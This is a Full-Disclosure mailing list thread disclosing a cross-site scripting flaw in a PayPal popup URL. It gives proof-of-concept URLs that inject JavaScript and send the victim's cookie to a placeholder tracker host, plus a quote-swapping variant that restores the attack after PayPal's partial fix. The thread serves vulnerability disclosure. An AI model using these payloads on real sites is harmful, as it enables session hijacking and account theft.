Re: alert()

[Matthew Flaschen <matthew.flaschen () gatech edu>]

Hmm, I got an email from Paypal, saying

"Thank you for bringing this incident of suspicious activity to our
attention. PayPal will investigate this activity immediately and contact
you further if any additional information is required.[...]"

I'm fairly certain they're referring to this exploit, which I CCed them
on my previous post.

Also, the POC I posted no longer works.  It looks like Paypal is no
longer unescaping double quotation marks.  Thus, the script fails to
append the cookie.  At any rate, just changing the double quotes to
single quotes makes the POC work again:

https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location='http://fooHost/tracker.php?'%2Bdocument.cookie

Matt Flaschen

Matthew Flaschen wrote:
> Good find.  How about using it to steal the entire PayPal cookie, though:
>  
> https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location=%22http://fooHost/tracker.php?%22%2Bdocument.cookie;
>
>
> auto113922 () hush ai wrote:
> > https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-
> > outside&voice=javascript:document.write('heh');alert('bl00p');
> >
> >
> >
> > Concerned about your privacy? Instantly send FREE secure email, no account required
> > http://www.hushmail.com/send?l=480
> >
> > Get the best prices on SSL certificates from Hushmail
> > https://www.hushssl.com?l=485
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
>
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

Attachment: signature.asc
Description: OpenPGP digital signature

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/